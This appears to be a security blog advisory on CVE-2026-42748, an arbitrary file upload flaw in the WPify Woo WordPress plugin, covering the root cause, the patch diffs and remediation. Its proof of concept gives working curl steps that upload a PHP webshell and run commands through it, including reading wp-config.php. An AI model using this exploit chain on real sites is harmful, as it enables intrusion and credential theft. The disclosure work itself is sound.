WPify Woo WordPress plugin banner

CVE-2026-42748: Arbitrary File Upload in WPify Woo Plugin (CVSS 8.8)

Updated 7 min read

CVE-2026-42748 is a CVSS 8.8 (High) Authenticated Arbitrary File Upload vulnerability in the WPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce WordPress plugin. An attacker with Contributor-level access can upload any file type to the server, including PHP scripts, which may lead to Remote Code Execution.

Vulnerability Summary

FieldValue
Plugin NameWPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce
Plugin Slugwpify-woo
CVE IDCVE-2026-42748
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthenticated (Contributor+) Arbitrary File Upload
Affected Versions<= 5.4.1
Patched Version5.4.2
PublishedMay 29, 2026
Researcherkai63001
Wordfence AdvisoryLink

Description

The WPify Woo plugin bundles the wpify/custom-fields library to power its admin settings and form fields. This library registers a REST API endpoint to handle direct file uploads for custom field inputs. In all versions up to and including 5.4.1, this endpoint accepted any file type without validation. An attacker with Contributor-level access could upload a PHP script to the server. On many server configurations, the uploaded file would be executable from the browser, resulting in Remote Code Execution.

Technical Analysis

Vulnerable Endpoint Registration

The wpify/custom-fields library registers its REST routes inside vendor/wpify-woo/wpify/custom-fields/src/Api.php. In the vulnerable version, all routes share a single permission callback:

// vendor/wpify-woo/wpify/custom-fields/src/Api.php (version 5.4.1)

public function register_routes(): void
{
    // ...
    $this->register_rest_route(
        'direct-file-upload',
        WP_REST_Server::CREATABLE,
        array($this, 'handle_direct_file_upload'),
        array('field_id' => array('required' => false))
    );
    // ...
}

public function register_rest_route(
    string $route,
    string $method,
    callable $callback,
    array $args = array()
): void {
    register_rest_route(
        $this->get_rest_namespace(),
        $route,
        array(
            'methods'             => $method,
            'callback'            => $callback,
            'permission_callback' => array($this, 'permissions_callback'), // single shared callback
            'args'                => $args,
        )
    );
}

public function permissions_callback(): bool
{
    return current_user_can('edit_posts'); // Contributors have this capability
}

The REST namespace is derived from the plugin’s path inside wp-content:

public function get_api_basename(): string
{
    $content_path = str_replace(\WP_CONTENT_DIR, '', __DIR__);
    $file_path = basename($content_path);
    return ltrim(str_replace('/' . $file_path, '', $content_path), '/');
}

For the wpify-woo plugin, this produces: plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields

So the full endpoint URL is:

POST /wp-json/plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields/wpifycf/v1/direct-file-upload

Root Cause: Missing File Type Validation

The handle_direct_file_upload() function accepted any file, regardless of its type or extension:

// vendor/wpify-woo/wpify/custom-fields/src/Api.php (version 5.4.1)

public function handle_direct_file_upload()
{
    if (empty($_FILES['file'])) {
        return new \WP_Error('no_file', __('No file was uploaded.', 'wpify-custom-fields'), array('status' => 400));
    }
    $file = $_FILES['file'];

    if (\UPLOAD_ERR_OK !== $file['error']) {
        return new \WP_Error('upload_error', __('File upload failed.', 'wpify-custom-fields'), array('status' => 400));
    }

    // Validates size only
    $max_upload_size = wp_max_upload_size();
    if ($file['size'] > $max_upload_size) {
        return new \WP_Error('file_too_large', ..., array('status' => 400));
    }

    // sanitize_file_name() sanitizes characters but does NOT block dangerous extensions
    $filename = sanitize_file_name($file['name']);

    $temp_dir = $this->helpers->get_direct_file_temp_dir();
    // Temp dir: wp-content/uploads/wpifycf-temp/ — no .htaccess protection in 5.4.1

    $unique_filename = wp_unique_filename($temp_dir, $filename);
    $temp_path = trailingslashit($temp_dir) . $unique_filename;

    // NO file type or MIME type check — any extension is accepted
    if (!move_uploaded_file($file['tmp_name'], $temp_path)) {
        return new \WP_Error('move_failed', __('Failed to save uploaded file.', 'wpify-custom-fields'), array('status' => 500));
    }

    return array('temp_path' => $temp_path, 'filename' => $unique_filename, ...);
}

The upload destination is wp-content/uploads/wpifycf-temp/. In version 5.4.1, this directory is created without any .htaccess file. On Apache servers that do not globally block PHP execution in wp-content/uploads/, PHP files placed here are directly accessible and executable from the web.

Why Contributor-Level Access Matters

WordPress assigns the edit_posts capability to Contributors by default. This is one of the lowest privilege levels — Contributors can draft posts but cannot publish them or upload media. Granting them access to a file upload API endpoint is a broken access control issue.

Proof of Concept

Disclaimer: This proof of concept is for educational purposes only. Use it only on systems you own or have explicit written permission to test.

Prerequisites:

  • WordPress site with WPify Woo plugin <= 5.4.1 installed and activated
  • Attacker has a Contributor-level account (username + password)

Step 1: Authenticate and Get a REST API Nonce

# Log in and capture session cookies
curl -s -c /tmp/wp-cookies.txt -b /tmp/wp-cookies.txt \
  -d "log=contributor_user&pwd=contributor_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  "http://target.example.com/wp-login.php" -o /dev/null

# Retrieve REST nonce from the admin bar
NONCE=$(curl -s -b /tmp/wp-cookies.txt \
  "http://target.example.com/wp-admin/" \
  | grep -o '"nonce":"[^"]*"' | head -1 | cut -d'"' -f4)

echo "Nonce: $NONCE"

Step 2: Create a PHP Webshell

echo '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' > /tmp/shell.php

Step 3: Upload the PHP Shell via the Vulnerable Endpoint

RESPONSE=$(curl -s -b /tmp/wp-cookies.txt \
  -H "X-WP-Nonce: $NONCE" \
  -F "file=@/tmp/shell.php;type=application/octet-stream" \
  "http://target.example.com/wp-json/plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields/wpifycf/v1/direct-file-upload")

echo "Server response: $RESPONSE"
# Expected: {"temp_path":"/var/www/html/wp-content/uploads/wpifycf-temp/shell.php","filename":"shell.php",...}

Step 4: Execute Commands via the Uploaded Shell

# Trigger the uploaded webshell
curl "http://target.example.com/wp-content/uploads/wpifycf-temp/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# List WordPress configuration
curl "http://target.example.com/wp-content/uploads/wpifycf-temp/shell.php?cmd=cat+/var/www/html/wp-config.php"

Patch Analysis

Version 5.4.2 introduced two independent defenses. Both must be present for full protection.

Fix 1: Per-Route Permission Callbacks

The patch replaced the single shared permissions_callback with separate, granular callbacks for each route:

-public function register_rest_route(string $route, string $method, callable $callback, array $args = array()): void
+public function register_rest_route(string $route, string $method, callable $callback, array $args, callable $permission_callback): void
 {
-    register_rest_route($this->get_rest_namespace(), $route, array('methods' => $method, 'callback' => $callback, 'permission_callback' => array($this, 'permissions_callback'), 'args' => $args));
+    register_rest_route($this->get_rest_namespace(), $route, array('methods' => $method, 'callback' => $callback, 'permission_callback' => $permission_callback, 'args' => $args));
 }

The direct-file-upload route now requires upload_files instead of edit_posts:

-$this->register_rest_route('direct-file-upload', WP_REST_Server::CREATABLE, array($this, 'handle_direct_file_upload'), array('field_id' => array('required' => false)));
+$this->register_rest_route('direct-file-upload', WP_REST_Server::CREATABLE, array($this, 'handle_direct_file_upload'), array('field_id' => array('required' => false)), array($this, 'cap_upload_files'));
// New capability check — upload_files is not available to Contributors
public function cap_upload_files(): bool
{
    return current_user_can('upload_files');
}

Fix 2: WordPress Built-in MIME Validation via wp_handle_upload()

The raw move_uploaded_file() call was replaced with wp_handle_upload(), which enforces WordPress’s built-in MIME type allowlist and blocks dangerous extensions such as .php, .phtml, and .phar:

-$filename = sanitize_file_name($file['name']);
-$unique_filename = wp_unique_filename($temp_dir, $filename);
-$temp_path = trailingslashit($temp_dir) . $unique_filename;
-if (!move_uploaded_file($file['tmp_name'], $temp_path)) {
-    return new \WP_Error('move_failed', ...);
-}
-return array('temp_path' => $temp_path, 'filename' => $unique_filename, ...);
+$this->helpers->harden_directory($temp_dir);
+require_once \ABSPATH . 'wp-admin/includes/file.php';
+// Redirect upload_dir filter to the temp directory
+add_filter('upload_dir', $upload_dir_filter, 99);
+try {
+    $result = wp_handle_upload($_FILES['file'], array('test_form' => false, 'mimes' => null));
+} finally {
+    remove_filter('upload_dir', $upload_dir_filter, 99);
+}
+if (isset($result['error'])) {
+    return new \WP_Error('upload_rejected', $result['error'], array('status' => 400));
+}
+return array('temp_path' => $result['file'], 'filename' => basename($result['file']), ...);

Fix 3: Directory Hardening

The patch also introduced harden_directory() in Helpers.php. This method writes .htaccess and web.config files into the temp directory to block PHP execution on Apache and IIS servers — providing defense in depth even if a dangerous file somehow reached the directory:

# .htaccess written by harden_directory()
<FilesMatch "\.(?i:php|phtml|phar|php\d|pl|py|cgi|rb|sh|jsp)$">
  <IfModule mod_authz_core.c>
    Require all denied
  </IfModule>
</FilesMatch>
Options -Indexes

Timeline

DateEvent
May 29, 2026Vulnerability publicly disclosed by Wordfence
June 2, 2026Advisory last updated
WPify Woo 5.4.2 released with the fix

Remediation

Update WPify Woo to version 5.4.2 or later from the WordPress admin dashboard (Plugins → Updates) or download directly from wordpress.org. No configuration change is needed after updating.

References

  1. Wordfence Advisory — CVE-2026-42748
  2. Patchstack Advisory
  3. Trac Changeset — 5.4.1 → 5.4.2
  4. CVE Record — CVE-2026-42748
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee